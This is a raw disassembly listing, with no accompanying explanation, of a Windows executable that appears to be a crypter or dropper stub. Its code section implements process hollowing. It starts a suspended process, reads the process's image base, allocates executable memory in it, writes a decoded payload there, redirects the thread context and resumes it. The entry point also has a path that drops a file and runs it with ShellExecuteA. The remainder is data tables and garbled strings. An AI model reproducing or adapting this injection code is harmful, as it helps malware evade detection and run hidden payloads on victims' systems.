[ebp+Context.ExtendedRegisters+78h] mov edx, [edx+38h] call sub_20012E78 add eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch] mov dword ptr [ebp+Context.ExtendedRegisters+5Ch], eax loc_200130B7: ; CODE XREF: sub_20012F40+14Ej ; sub_20012F40+15Dj inc ebx dec edi jnz loc_20013028 loc_200130BF: ; CODE XREF: sub_20012F40+DFj call sub_20012E98 lea eax, [ebp+Context.ExtendedRegisters] mov edx, 44h call sub_20005E90 lea eax, [ebp+var_254] call sub_20012F28 lea eax, [ebp+Context] mov edx, 0CCh call sub_20005E90 lea eax, [ebp+Context.ExtendedRegisters+44h] push eax ; lpProcessInformation lea eax, [ebp+Context.ExtendedRegisters] push eax ; lpStartupInfo push 0 ; lpCurrentDirectory push 0 ; lpEnvironment push 4 ; dwCreationFlags push 0 ; bInheritHandles push 0 ; lpThreadAttributes push 0 ; lpProcessAttributes lea edx, [ebp+var_258] xor eax, eax call sub_20002928 mov eax, [ebp+var_258] call sub_20004444 push eax ; lpCommandLine push 0 ; lpApplicationName call CreateProcessA call sub_20012E98 mov [ebp+Context.ContextFlags], 10007h call sub_20012E98 lea eax, [ebp+Context] push eax ; lpContext mov eax, dword ptr [ebp+Context.ExtendedRegisters+48h] push eax ; hThread call GetThreadContext call sub_20012E98 lea eax, [ebp+Context.ExtendedRegisters+6Ch] push eax ; lpNumberOfBytesRead push 4 ; nSize lea eax, [ebp+Context.ExtendedRegisters+70h] push eax ; lpBuffer mov eax, [ebp+Context._Ebx] add eax, 8 push eax ; lpBaseAddress mov eax, dword ptr [ebp+Context.ExtendedRegisters+44h] push eax ; hProcess call ReadProcessMemory lea eax, [ebp+var_25C] call sub_20012F28 push 40h ; flProtect push 3000h ; flAllocationType mov eax, dword ptr [ebp+Context.ExtendedRegisters+64h] push eax ; dwSize mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] mov eax, [eax+34h] push eax ; lpAddress mov eax, dword ptr [ebp+Context.ExtendedRegisters+44h] push eax ; hProcess call VirtualAllocEx lea eax, [ebp+Context.ExtendedRegisters+6Ch] push eax ; lpNumberOfBytesWritten mov eax, dword ptr [ebp+Context.ExtendedRegisters+64h] push eax ; nSize mov eax, dword ptr [ebp+Context.ExtendedRegisters+74h] push eax ; lpBuffer mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] mov eax, [eax+34h] push eax ; lpBaseAddress mov eax, dword ptr [ebp+Context.ExtendedRegisters+44h] push eax ; hProcess call WriteProcessMemory lea eax, [ebp+Context.ExtendedRegisters+6Ch] push eax ; lpNumberOfBytesWritten push 4 ; nSize mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] add eax, 34h push eax ; lpBuffer mov eax, [ebp+Context._Ebx] add eax, 8 push eax ; lpBaseAddress mov eax, dword ptr [ebp+Context.ExtendedRegisters+44h] push eax ; hProcess call WriteProcessMemory mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] mov eax, [eax+34h] mov edx, dword ptr [ebp+Context.ExtendedRegisters+78h] add eax, [edx+28h] mov [ebp+Context._Eax], eax lea eax, [ebp+Context] push eax ; lpContext mov eax, dword ptr [ebp+Context.ExtendedRegisters+48h] push eax ; hThread call SetThreadContext mov eax, dword ptr [ebp+Context.ExtendedRegisters+48h] push eax ; hThread call ResumeThread lea eax, [ebp+var_24E] mov edx, offset loc_2001327C call sub_2001277C mov edx, dword ptr [ebp+Context.ExtendedRegisters+54h] push edx mov eax, dword ptr [ebp+Context.ExtendedRegisters+58h] mov ecx, eax mov edx, eax lea eax, [ebp+var_24E] call sub_20012818 lea eax, [ebp+var_24E] call sub_20012808 call sub_20012E98 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20013248 loc_20013236: ; CODE XREF: sub_20012F40+306j mov eax, dword ptr [ebp+Context.ExtendedRegisters+74h] push eax call sub_200055C8 pop ecx retn ; --------------------------------------------------------------------------- loc_20013241: ; DATA XREF: sub_20012F40+5Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20013236 ; --------------------------------------------------------------------------- loc_20013248: ; CODE XREF: sub_20012F40+300j ; DATA XREF: sub_20012F40+2F1o xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2001326D loc_20013255: ; CODE XREF: sub_20012F40+32Bj lea eax, [ebp+var_25C] mov edx, 3 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_20013266: ; DATA XREF: sub_20012F40+26o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20013255 ; --------------------------------------------------------------------------- loc_2001326D: ; CODE XREF: sub_20012F40+325j ; DATA XREF: sub_20012F40+310o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20012F40 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 5 ; --------------------------------------------------------------------------- loc_2001327C: ; DATA XREF: sub_20012F40+2B9o inc ecx jb short loc_200132E6 push 21h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20013284 proc near ; DATA XREF: CODE:20013360o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_200132A3 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200132AA loc_200132A2: ; CODE XREF: sub_20013284+24j retn ; --------------------------------------------------------------------------- loc_200132A3: ; DATA XREF: sub_20013284+6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200132A2 ; --------------------------------------------------------------------------- loc_200132AA: ; CODE XREF: sub_20013284:loc_200132A2j ; DATA XREF: sub_20013284+19o pop ebp retn sub_20013284 endp ; --------------------------------------------------------------------------- dword_200132AC dd 16h ; DATA XREF: CODE:20013379o dd offset off_200132B4 off_200132B4 dd offset loc_20005CC0 ; DATA XREF: CODE:200132B0o dd offset sub_20005C90 dd offset sub_20005AB4 dd offset sub_20005A60 dd offset sub_20005CF8 dd offset sub_20005CC8 dd offset sub_20005EC8 dd offset sub_20005E98 dd offset sub_20005F00 db 0D0h ; п OFF32 SEGDEF [CODE,20005ED0] ; --------------------------------------------------------------------------- loc_200132D9: ; CODE XREF: CODE:20013318j pop esi add [eax], ah cmp [edi+0], bl and [eax], cl pop edi add [eax], ah js short near ptr loc_20013344+1 loc_200132E6: ; CODE XREF: CODE:2001327Dj add [eax], ah dec eax pop edi add [eax], ah mov al, 5Fh add [eax], ah sbb byte ptr [edi+0], 20h call near ptr 0D8213358h pop edi add [eax], ah inc eax pusha add [eax], ah lock pop edi add [eax], ah aam 0F2h add [eax], ah movsb repne add [eax], ah dec eax arpl [eax], ax and [eax], bl arpl [eax], ax and ah, bh rol byte ptr [eax], 20h jl short loc_200132D9 add [eax], ah push 382000C9h leave add [eax], ah fdivr st, st add [eax], ah lock add fs:[eax+0], ah sbb dl, dh add [eax], ah call near ptr 0BC213426h repne add [eax], ah dec esp repne add [eax], ah mov al, 26h add [eax], esp add [esi+0], ah add [eax], esp loc_20013344: ; CODE XREF: CODE:200132E4j jz short loc_2001336D add [eax], esp inc esp daa add [eax], esp shr byte ptr [eax+0], 1 and [eax-7DFFED8h], dl sub [ecx], al and al, cl sub [ecx], al and [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) dd offset sub_20013284 ; --------------------------------------------------------------------------- public start start: push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx xor eax, eax loc_2001336D: ; CODE XREF: CODE:loc_20013344j mov [ebp-14h], eax mov [ebp-18h], eax mov [ebp-1Ch], eax mov [ebp-20h], eax mov eax, offset dword_200132AC call sub_20005C4C xor eax, eax push ebp push offset loc_200134B0 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp-20h] call sub_200129A0 mov eax, [ebp-20h] lea edx, [ebp-1Ch] call sub_20012A88 mov eax, [ebp-1Ch] lea edx, [ebp-18h] call sub_2001290C mov eax, [ebp-18h] lea edx, [ebp-14h] call sub_20012CD0 mov edx, [ebp-14h] mov eax, offset dword_2001589C call sub_20003FFC cmp ds:dword_2001589C, 0 jz loc_20013495 cmp ds:byte_200143C0, 0 jz short loc_2001341B mov eax, ds:dword_2001589C call sub_20004244 call sub_20002668 mov ebx, eax mov eax, ds:dword_2001589C call sub_20004244 push eax mov eax, offset dword_2001589C call sub_2000449C mov edx, ebx pop ecx call sub_200027FC mov eax, ebx call sub_20012F40 mov eax, ebx call sub_20002688 jmp short loc_20013495 ; --------------------------------------------------------------------------- loc_2001341B: ; CODE XREF: CODE:200133DBj mov edx, ds:dword_200159EC mov eax, offset dword_200158A0 call sub_20002BFC mov edx, 1 mov eax, offset dword_200158A0 call sub_20002F7C call sub_200027DC test eax, eax jnz short loc_20013495 push 0 mov eax, ds:dword_2001589C call sub_20004244 push eax mov eax, offset dword_2001589C call sub_2000449C mov edx, eax mov eax, offset dword_200158A0 pop ecx call sub_20002D74 call sub_2000275C mov eax, offset dword_200158A0 call sub_20002D94 call sub_2000275C push 0 push 0 push 0 mov eax, ds:dword_200159EC call sub_20004444 push eax push 0 push 0 call ShellExecuteA loc_20013495: ; CODE XREF: CODE:200133CEj ; CODE:20013419j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200134B7 loc_200134A2: ; CODE XREF: CODE:200134B5j lea eax, [ebp-20h] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_200134B0: ; DATA XREF: CODE:20013386o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200134A2 ; --------------------------------------------------------------------------- loc_200134B7: ; CODE XREF: CODE:200134AFj ; DATA XREF: CODE:2001349Do pop ebx call sub_20003EB8 ; --------------------------------------------------------------------------- align 200h CODE ends ; Section 2. (virtual address 00014000) ; Virtual size : 000005AC ( 1452.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00012A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 20014000h dword_20014000 dd 0 ; DATA XREF: sub_20003DA0+Ar ; sub_20003DFC+2w ... dword_20014004 dd 0 ; DATA XREF: sub_200026F8w ; sub_20003DA0+37r ... byte_20014008 db 2 ; DATA XREF: sub_20002E80+4Er ; sub_20002F60r ... db 8Dh, 40h, 0 dword_2001400C dd 0 ; DATA XREF: sub_20004924r ; sub_20004924+9r ... dword_20014010 dd 0 ; DATA XREF: DATA:off_200143F0o dword_20014014 dd 0 ; DATA XREF: sub_20004A34r ; sub_20004A34+9r ... dword_20014018 dd 0 ; DATA XREF: DATA:off_2001458Co dword_2001401C dd 0 ; DATA XREF: DATA:off_2001450Co word_20014020 dw 1332h ; DATA XREF: sub_20003394+6r ; sub_20003394:loc_2000340Cr ... dw 0C08Bh byte_20014024 db 0 ; DATA XREF: sub_200037B4r ; sub_200037D0r ... db 8Dh, 40h, 0 byte_20014028 db 0 ; DATA XREF: sub_200038A4+52r ; sub_200038A4:loc_20003931r db 8Dh, 40h, 0 byte_2001402C db 0 ; DATA XREF: sub_20003E2C:loc_20003E8Dr db 8Dh, 40h, 0 byte_20014030 db 1 ; DATA XREF: sub_20002BFC+25r db 8Dh, 40h, 0 dword_20014034 dd 0 ; DATA XREF: sub_20004F24r ; sub_20005474r ... dword_20014038 dd 0 ; DATA XREF: sub_20005398+Dr ; sub_20005398+18w ... off_2001403C dd offset sub_20002094 ; DATA XREF: sub_20002668+5r ; sub_200026A8+3Fr off_20014040 dd offset sub_20002224 ; DATA XREF: sub_20002688+5r ; sub_200026A8+26r ... off_20014044 dd offset sub_200025A4 ; DATA XREF: sub_200026A8+Dr byte_20014048 db 0 ; DATA XREF: sub_20002704+36r aRsu db 'клхивохмншьзыйэщчъЮАЦ',0 aFxn@ db 'ДЕ█@',0 dword_20014064 dd 3 ; DATA XREF: sub_20002E80+5Ar dd 0 dd 1, 2, 3, 3 dup(0) ; char Caption[] Caption db 'Error',0 ; DATA XREF: sub_20003E2C+6Co dw 0C08Bh ; char Text[] Text db 'Runtime error at 00000000',0 ; DATA XREF: sub_20003DA0+3o ; sub_20003E2C+32o ... dw 0C08Bh byte_200140AC db 30h ; DATA XREF: sub_20003DA0+41r db 31h, 32h, 33h dd 37363534h, 42413938h, 46454443h ; DWORD TlsIndex TlsIndex dd 0FFFFFFFFh ; DATA XREF: sub_20005BBC+Cr ; sub_20005BBC+37r ... dword_200140C0 dd 0 ; DATA XREF: sub_20005C40o ; sub_20005C4C+33o dword_200140C4 dd 0 ; DATA XREF: sub_20005C4C+1Bw dword_200140C8 dd 0 ; DATA XREF: sub_20005C4C+22w dword_200140CC dd 0 ; DATA XREF: sub_20005C4C+29w dd 2 dup(0) dword_200140D8 dd 0 ; DATA XREF: CODE:loc_2000601Do dword_200140DC dd 0 ; DATA XREF: CODE:2000C0D9o dword_200140E0 dd 0 ; DATA XREF: CODE:2000C0CFo dword_200140E4 dd 0 ; DATA XREF: sub_2000ACA4+1Bw ; sub_2000ACA4+32r ... dword_200140E8 dd 0 ; DATA XREF: sub_2000ACA4+24w dword_200140EC dd 0 ; DATA XREF: sub_2000ACA4+2Dw dword_200140F0 dd 0 ; DATA XREF: sub_2000ACA4+44w ; sub_2000ACA4+4Fw dword_200140F4 dd 0 ; DATA XREF: sub_2000ACA4:loc_2000ACF8o ; CODE:2000C0C5o word_200140F8 dw 32h ; DATA XREF: sub_200096E4+1B0r ; sub_200096E4+1CCr dw 0C08Bh dword_200140FC dd 1C001Fh, 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh), 1D001Fh ; DATA XREF: sub_200085CC+24o ; sub_20008694+FCo dd 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh) dword_2001412C dd 0 ; DATA XREF: sub_20008C00+62r ; sub_20008C00+336r ... dd 7 dup(0) off_2001414C dd offset dword_20006D98 ; DATA XREF: CODE:2000BFECo ; CODE:2000C133o ... dword_20014150 dd 0 ; DATA XREF: sub_2000B828+1Cw ; sub_2000B828:loc_2000B849r ... off_20014154 dd offset dword_2000742C ; DATA XREF: sub_2000743C+3Cr ; CODE:2000BFD7o dd offset dword_2000742C+0Ch ; DWORD dwDesiredAccess dwDesiredAccess dd 80000000h ; DATA XREF: sub_20007488+3Er dd 40000000h, 0C0000000h ; DWORD dwShareMode dwShareMode dd 0 ; DATA XREF: sub_20007488+36r align 10h dd 1, 2, 3 off_2001417C dd offset off_20006110 ; DATA XREF: sub_20007824+43r ; CODE:2000BF70o off_20014180 dd offset off_20006118 ; DATA XREF: CODE:2000BF64o tbyte_20014184 dt 1.0e18 ; DATA XREF: sub_2000807D+63r dw 0C08Bh flt_20014190 db 0Ah, 0, 0, 0 ; DATA XREF: sub_20007D38+23r ; sub_2000807D+78r ... word_20014194 dw 133Fh ; DATA XREF: sub_2000827C+25r dw 0C08Bh flt_20014198 dd 8.64e7 ; DATA XREF: sub_20008480+Br dword_2001419C dd 5265C00h ; DATA XREF: sub_20008480+25r ; sub_20008480:loc_200084AFr dword_200141A0 dd 642A2E25h ; DATA XREF: sub_200088A0+26o off_200141A4 dd offset off_200061E8 ; DATA XREF: sub_20009DD8+3Ao ; CODE:2000BF58o off_200141A8 dd offset off_200061F0 ; DATA XREF: CODE:2000BF4Co off_200141AC dd offset off_200061F8 ; DATA XREF: CODE:2000BF40o off_200141B0 dd offset off_20006200 ; DATA XREF: CODE:2000BF34o off_200141B4 dd offset off_20006208 ; DATA XREF: CODE:2000BF28o off_200141B8 dd offset off_20006210 ; DATA XREF: CODE:2000BF1Co off_200141BC dd offset loc_20006217+1 ; DATA XREF: CODE:2000BF10o off_200141C0 dd offset off_20006220 ; DATA XREF: CODE:2000BF04o off_200141C4 dd offset off_20006228 ; DATA XREF: CODE:2000BEF8o off_200141C8 dd offset off_20006230 ; DATA XREF: CODE:2000BEECo off_200141CC dd offset off_20006238 ; DATA XREF: CODE:2000BEE0o off_200141D0 dd offset off_20006240 ; DATA XREF: CODE:2000BED4o off_200141D4 dd offset off_20006248 ; DATA XREF: sub_20009DD8+5Do ; CODE:2000BEC8o off_200141D8 dd offset off_20006250 ; DATA XREF: CODE:2000BEBCo off_200141DC dd offset off_20006258 ; DATA XREF: CODE:2000BEB0o off_200141E0 dd offset off_20006260 ; DATA XREF: CODE:2000BEA4o off_200141E4 dd offset off_20006268 ; DATA XREF: CODE:2000BE98o off_200141E8 dd offset off_20006270 ; DATA XREF: CODE:2000BE8Co off_200141EC dd offset off_20006278 ; DATA XREF: CODE:2000BE80o off_200141F0 dd offset off_20006280 ; DATA XREF: CODE:2000BE74o off_200141F4 dd offset off_20006288 ; DATA XREF: CODE:2000BE68o off_200141F8 dd offset off_20006290 ; DATA XREF: CODE:2000BE5Co off_200141FC dd offset off_20006298 ; DATA XREF: CODE:2000BE50o off_20014200 dd offset off_200062A0 ; DATA XREF: CODE:2000BE44o off_20014204 dd offset off_200062A8 ; DATA XREF: sub_20009DD8+A9o ; CODE:2000BE38o off_20014208 dd offset off_200062B0 ; DATA XREF: CODE:2000BE2Co off_2001420C dd offset off_200062B8 ; DATA XREF: CODE:2000BE20o off_20014210 dd offset off_200062C0 ; DATA XREF: CODE:2000BE14o off_20014214 dd offset off_200062C8 ; DATA XREF: CODE:2000BE08o off_20014218 dd offset off_200062D0 ; DATA XREF: CODE:2000BDFCo off_2001421C dd offset off_200062D8 ; DATA XREF: CODE:2000BDF0o off_20014220 dd offset off_200062E0 ; DATA XREF: sub_20009DD8+CEo ; CODE:2000BDE4o off_20014224 dd offset off_200062E8 ; DATA XREF: CODE:2000BDD8o off_20014228 dd offset off_200062F0 ; DATA XREF: CODE:2000BDCCo off_2001422C dd offset off_200062F8 ; DATA XREF: CODE:2000BDC0o off_20014230 dd offset off_20006300 ; DATA XREF: CODE:2000BDB4o off_20014234 dd offset off_20006308 ; DATA XREF: CODE:2000BDA8o off_20014238 dd offset off_20006310 ; DATA XREF: CODE:2000BD9Co dword_2001423C dd 2 ; DATA XREF: sub_2000A69C+16r ; CODE:2000BFC2o dword_20014240 dd 0 ; DATA XREF: sub_2000A69C+24r ; CODE:2000BD90o dd 3 dword_20014248 dd 0 ; DATA XREF: CODE:2000BD88o dd 4 dword_20014250 dd 0 ; DATA XREF: CODE:2000BD80o dd 5 dword_20014258 dd 0 ; DATA XREF: CODE:2000BD78o dword_2001425C dd 64h ; DATA XREF: sub_2000A71C+2Ao ; sub_2000A8E0+Fr ... dword_20014260 dd 0 ; DATA XREF: CODE:2000BD70o dd 65h dword_20014268 dd 0 ; DATA XREF: CODE:2000BD68o dd 6Ah dword_20014270 dd 0 ; DATA XREF: CODE:2000BD60o off_20014274 dd offset dword_20006624 ; DATA XREF: CODE:2000BFADo dword_20014278 dd 0 ; DATA XREF: CODE:2000BD58o dd offset dword_2000667C dword_20014280 dd 0 ; DATA XREF: CODE:2000BD50o dd offset dword_200066D4 dword_20014288 dd 0 ; DATA XREF: CODE:2000BD48o dd offset dword_20006788 dword_20014290 dd 0 ; DATA XREF: CODE:2000BD40o dd offset dword_200067E0 dword_20014298 dd 0 ; DATA XREF: CODE:2000BD38o dd offset dword_20006838 dword_200142A0 dd 0 ; DATA XREF: CODE:2000BD30o dd offset dword_20006890 dword_200142A8 dd 0 ; DATA XREF: CODE:2000BD28o dd offset dword_20006944 dword_200142B0 dd 0 ; DATA XREF: CODE:2000BD20o dd offset dword_200069FC dword_200142B8 dd 0 ; DATA XREF: CODE:2000BD18o dd offset dword_20006A5C dword_200142C0 dd 0 ; DATA XREF: CODE:2000BD10o dd offset dword_20006B10 dword_200142C8 dd 0 ; DATA XREF: CODE:2000BD08o dd offset dword_20006AB4 dword_200142D0 dd 0 ; DATA XREF: CODE:2000BD00o dd offset dword_20006B68 dword_200142D8 dd 0 ; DATA XREF: CODE:2000BCF8o dd offset dword_20006B68 dword_200142E0 dd 0 ; DATA XREF: CODE:2000BCF0o dd offset dword_20006B68 dword_200142E8 dd 0 ; DATA XREF: CODE:2000BCE8o dd offset dword_20006B68 dword_200142F0 dd 0 ; DATA XREF: CODE:2000BCE0o dd offset dword_20006B68 dword_200142F8 dd 0 ; DATA XREF: CODE:2000BCD8o dd offset dword_20006B68 dword_20014300 dd 0 ; DATA XREF: CODE:2000BCD0o dd offset dword_20006BC4 dword_20014308 dd 0 ; DATA XREF: CODE:2000BCC8o dd offset dword_2000656C dword_20014310 dd 0 ; DATA XREF: CODE:2000BCC0o dd offset dword_20006C80 dword_20014318 dd 0 ; DATA XREF: CODE:2000BCB8o dd offset dword_20006D34 dword_20014320 dd 0 ; DATA XREF: CODE:2000BCB0o dword_20014324 dd 20591EC1h ; DATA XREF: sub_2000B250+Ar dword_20014328 dd 0 ; DATA XREF: sub_2000B808+1o dword_2001432C dd 80070057h ; DATA XREF: sub_2000C1F0+3Dr ; sub_2000C25C+3Dr ... dd 0 byte_20014334 db 1 ; DATA XREF: sub_2000DD44:loc_2000DDDDr ; sub_2000E46C:loc_2000E506r db 8Dh, 40h, 0 dword_20014338 dd 0 ; DATA XREF: sub_2000DD44+B1r ; sub_2000E46C+B2r ... byte_2001433C db 0 ; DATA XREF: sub_2000DACC+43r db 8Dh, 40h, 0 dword_20014340 dd 0FFFFFFFFh ; DATA XREF: sub_2000ED08+36r ; sub_2000EE80+3Er ... off_20014344 dd offset aEmpty ; DATA XREF: sub_2000EB50+38r ; CODE:2000F09Co ; "Empty" dd offset dword_2000EA00+8 dd offset dword_2000EA10+8 dd offset dword_2000EA24+8 dd offset dword_2000EA24+18h dd offset dword_2000EA24+28h dd offset dword_2000EA24+38h dd offset dword_2000EA68+8 dd offset dword_2000EA78+8 dd offset dword_2000EA78+18h dd offset dword_2000EA9C+8 dd offset dword_2000EA9C+18h dd offset dword_2000EA9C+28h dd offset dword_2000EA9C+38h dd offset dword_2000EA9C+48h dd offset dword_2000EA9C+58h dd offset dword_2000EA9C+64h dd offset dword_2000EB0C+8 dd offset dword_2000EB1C+8 dd offset dword_2000EB2C+8 dd offset dword_2000EB40+8 dword_20014398 dd 1000100h, 2 dup(10100h), 10000h, 0C08B0101h ; DATA XREF: sub_2000EE0C+23o off_200143AC dd offset aFalse_0 ; DATA XREF: CODE:2000F26Fo ; "False" dd offset dword_2000F230+8 off_200143B4 dd offset dword_2000F248 ; DATA XREF: CODE:2000F265o dword_200143B8 dd 0 ; DATA XREF: CODE:20012673o byte_200143BC db 0 ; DATA XREF: sub_20012A88+BEw db 8Dh, 40h, 0 byte_200143C0 db 0 ; DATA XREF: sub_20012A88+8Ew ; CODE:200133D4r db 8Dh, 40h, 0 off_200143C4 dd offset off_20006200 ; DATA XREF: CODE:2000BF38o off_200143C8 dd offset off_20006120 ; DATA XREF: CODE:2000BCECo ; sub_2000D418+16r off_200143CC dd offset off_2000F1A0 ; DATA XREF: sub_20011AF8+F7r off_200143D0 dd offset off_20006168 ; DATA XREF: sub_2000CFA4+56r off_200143D4 dd offset off_20006068 ; DATA XREF: CODE:2000BD84o off_200143D8 dd offset off_20006250 ; DATA XREF: CODE:2000BEC0o off_200143DC dd offset off_20006290 ; DATA XREF: CODE:2000BE60o off_200143E0 dd offset off_200062F8 ; DATA XREF: CODE:2000BDC4o off_200143E4 dd offset off_20006220 ; DATA XREF: CODE:2000BF08o off_200143E8 dd offset dword_20015028 ; DATA XREF: sub_2000ABA0+79r off_200143EC dd offset off_200061A0 ; DATA XREF: sub_2000AAC4+73r ; CODE:2000BCC4o off_200143F0 dd offset dword_20014010 ; DATA XREF: CODE:2000F136r off_200143F4 dd offset off_20006308 ; DATA XREF: CODE:2000BDACo off_200143F8 dd offset dword_20015008 ; DATA XREF: sub_2000ABA0+2Er ; sub_2000AC24:loc_2000AC6Ar off_200143FC dd offset off_200062E0 ; DATA XREF: CODE:2000BDE8o off_20014400 dd offset off_20006208 ; DATA XREF: CODE:2000BF2Co off_20014404 dd offset off_20006198 ; DATA XREF: sub_2000D184+1ADr off_20014408 dd offset off_20006178 ; DATA XREF: sub_2000D184+CCr off_2001440C dd offset dword_20015800 ; DATA XREF: sub_2000DA5C+1Br off_20014410 dd offset off_20006080 ; DATA XREF: CODE:2000BD6Co off_20014414 dd offset off_200062E8 ; DATA XREF: CODE:2000BDDCo off_20014418 dd offset off_200062C8 ; DATA XREF: CODE:2000BE0Co off_2001441C dd offset off_200062F0 ; DATA XREF: CODE:2000BDD0o off_20014420 dd offset dword_2001501C ; DATA XREF: sub_2000ABA0+44r ; sub_2000AC24+58r off_20014424 dd offset off_20006050 ; DATA XREF: sub_2000A69C+44r off_20014428 dd offset off_20006108 ; DATA XREF: CODE:2000A49Fr off_2001442C dd offset off_20006048 ; DATA XREF: sub_2000ABA0r ; sub_2000D184+164r off_20014430 dd offset off_20006228 ; DATA XREF: CODE:2000BEFCo off_20014434 dd offset off_20006088 ; DATA XREF: CODE:2000BD64o off_20014438 dd offset off_20006110 ; DATA XREF: CODE:2000BF74o off_2001443C dd offset off_200061C8 ; DATA XREF: CODE:loc_2000A848r off_20014440 dd offset off_20006180 ; DATA XREF: CODE:2000BCDCo ; sub_2000D184+18Ar off_20014444 dd offset off_2000F190 ; DATA XREF: sub_200111E8:loc_20011220r off_20014448 dd offset off_20006278 ; DATA XREF: CODE:2000BE84o off_2001444C dd offset dword_20015214 ; DATA XREF: CODE:2000A43Ar off_20014450 dd offset off_20006298 ; DATA XREF: CODE:2000BE54o off_20014454 dd offset dword_2001500C ; DATA XREF: sub_2000ABA0+51r ; sub_2000AC24+61r off_20014458 dd offset off_20006258 ; DATA XREF: CODE:2000BEB4o off_2001445C dd offset dword_20015004 ; DATA XREF: sub_2000ABA0+39r ; sub_2000AC24+4Fr off_20014460 dd offset dword_20015010 ; DATA XREF: sub_2000ABA0+5Cr ; sub_2000AC24+6Ar off_20014464 dd offset off_200062A0 ; DATA XREF: CODE:2000BE48o off_20014468 dd offset off_200060E8 ; DATA XREF: CODE:2000BD04o off_2001446C dd offset off_200060E0 ; DATA XREF: CODE:2000BD1Co off_20014470 dd offset off_200060F0 ; DATA XREF: CODE:2000BD0Co off_20014474 dd offset off_200062D8 ; DATA XREF: CODE:2000BDF4o off_20014478 dd offset off_20006058 ; DATA XREF: CODE:2000BD94o off_2001447C dd offset off_200060A0 ; DATA XREF: CODE:2000BD4Co off_20014480 dd offset off_20006118 ; DATA XREF: CODE:2000BF68o off_20014484 dd offset off_20006138 ; DATA XREF: CODE:2000BCE4o ; sub_2000D130+16r off_20014488 dd offset off_20006160 ; DATA XREF: sub_2000D184+1FFr off_2001448C dd offset off_20006248 ; DATA XREF: CODE:2000BECCo off_20014490 dd offset off_2000F1D8 ; DATA XREF: sub_2001150C+12r ; sub_200115D8+Fr off_20014494 dd offset off_2000F1B8 ; DATA XREF: sub_200100E8:loc_200100FCr off_20014498 dd offset off_200061B0 ; DATA XREF: CODE:2000BCBCo off_2001449C dd offset off_2000F188 ; DATA XREF: sub_2001028C+89r off_200144A0 dd offset off_20006270 ; DATA XREF: CODE:2000BE90o off_200144A4 dd offset off_20006158 ; DATA XREF: CODE:2000BCF4o ; sub_2000D040+16r off_200144A8 dd offset off_20006260 ; DATA XREF: CODE:2000BEA8o off_200144AC dd offset off_20006280 ; DATA XREF: CODE:2000BE78o off_200144B0 dd offset dword_20015804 ; DATA XREF: sub_2000DA94+1Br off_200144B4 dd offset off_2000F1E0 ; DATA XREF: sub_200119B8+1Cr off_200144B8 dd offset dword_2001400C ; DATA XREF: CODE:2000F129r off_200144BC dd offset off_20006150 ; DATA XREF: CODE:2000BCFCo ; sub_2000CF50+16r off_200144C0 dd offset off_200061F0 ; DATA XREF: CODE:2000BF50o off_200144C4 dd offset off_20006230 ; DATA XREF: CODE:2000BEF0o off_200144C8 dd offset off_200062C0 ; DATA XREF: CODE:2000BE18o off_200144CC dd offset off_2000F1B0 ; DATA XREF: sub_200100AC:loc_200100BFr off_200144D0 dd offset off_20006078 ; DATA XREF: CODE:2000BD74o off_200144D4 dd offset off_200060B8 ; DATA XREF: CODE:2000BD34o off_200144D8 dd offset off_20006190 ; DATA XREF: sub_2000D184+13Er off_200144DC dd offset off_20006268 ; DATA XREF: CODE:2000BE9Co off_200144E0 dd offset off_200060C8 ; DATA XREF: sub_2000ABA0+17r off_200144E4 dd offset off_200062D0 ; DATA XREF: CODE:2000BE00o off_200144E8 dd offset off_200060C0 ; DATA XREF: CODE:2000BD2Co off_200144EC dd offset off_2000F1A8 ; DATA XREF: sub_20011DC8r off_200144F0 dd offset off_200062A8 ; DATA XREF: CODE:2000BE3Co off_200144F4 dd offset dword_20015020 ; DATA XREF: sub_2000ABA0+6Cr ; sub_2000AC24+73r off_200144F8 dd offset off_200061B8 ; DATA XREF: CODE:2000BCB4o off_200144FC dd offset off_20006170 ; DATA XREF: sub_2000D094+56r off_20014500 dd offset dword_20014014 ; DATA XREF: CODE:2000F143r off_20014504 dd offset off_20006130 ; DATA XREF: sub_2000A8F8+54r off_20014508 dd offset off_200060D8 ; DATA XREF: sub_2000A8F8+16Cr off_2001450C dd offset dword_2001401C ; DATA XREF: CODE:2000F15Dr off_20014510 dd offset off_20006300 ; DATA XREF: CODE:2000BDB8o off_20014514 dd offset loc_200061D7+1 ; DATA XREF: sub_2000B75C+46r off_20014518 dd offset off_20006070 ; DATA XREF: CODE:2000BD7Co off_2001451C dd offset off_200061A8 ; DATA XREF: sub_2000A770+38r ; CODE:2000BCCCo off_20014520 dd offset off_20006288 ; DATA XREF: CODE:2000BE6Co off_20014524 dd offset off_200062B0 ; DATA XREF: CODE:2000BE30o off_20014528 dd offset byte_20015044 ; DATA XREF: CODE:2000A430r off_2001452C dd offset off_200062B8 ; DATA XREF: CODE:2000BE24o off_20014530 dd offset off_20006140 ; DATA XREF: CODE:2000BCD4o ; sub_2000D184+F2r 